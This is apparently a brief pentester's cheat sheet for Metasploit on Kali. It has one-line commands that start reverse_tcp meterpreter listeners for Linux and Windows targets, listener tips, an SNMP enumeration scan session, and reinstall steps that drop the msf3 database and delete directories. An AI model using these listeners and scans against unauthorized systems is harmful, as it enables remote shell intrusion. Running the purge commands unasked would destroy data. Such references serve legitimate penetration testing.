Kali - msfconsole (Metasploit)

Start meterpreter listener from command line for Linux target:

msfconsole -x "use multi/handler; set payload linux/x86/meterpreter/reverse_tcp; set lhost 0.0.0.0; set lport 4444; exploit"

Start meterpreter listener from command line for Windows target:

msfconsole -x "use multi/handler; set payload windows/meterpreter/reverse_tcp; set AutoRunScript post/windows/manage/migrate; set lhost 0.0.0.0; set lport 4444; exploit"

Tips:
Use "set AutoRunScript post/windows/manage/migrate" to auto-migrate
Use "set ReverseListenerBindAddress 10.1.1.10" to force the listener address to a particular IP. This can be handy for exploits that target 127.0.0.1, for instance for machines that have their local ports pivoted through a remote SSH server to your host.

Start metasploit and use the snmp enumerator:

msfconsole
msf> show -h
msf> use auxiliary/scanner/snmp/snmp_enum
msf auxiliary(snmp_enum) > info
msf auxiliary(snmp_enum) > set RHOSTS 10.1.1.1
msf auxiliary(snmp_enum) > set THREADS 10
msf auxiliary(snmp_enum) > show options
msf auxiliary(snmp_enum) > run

Purge metasploit and reinstall:

apt-get purge metasploit
su postgres
echo '\list;' | psql
echo 'drop database msf3;' | psql
echo 'drop user msf3;' | psql
exit
rm -fr /opt/metasploit
rm -fr ./.msf4
apt-get install metasploit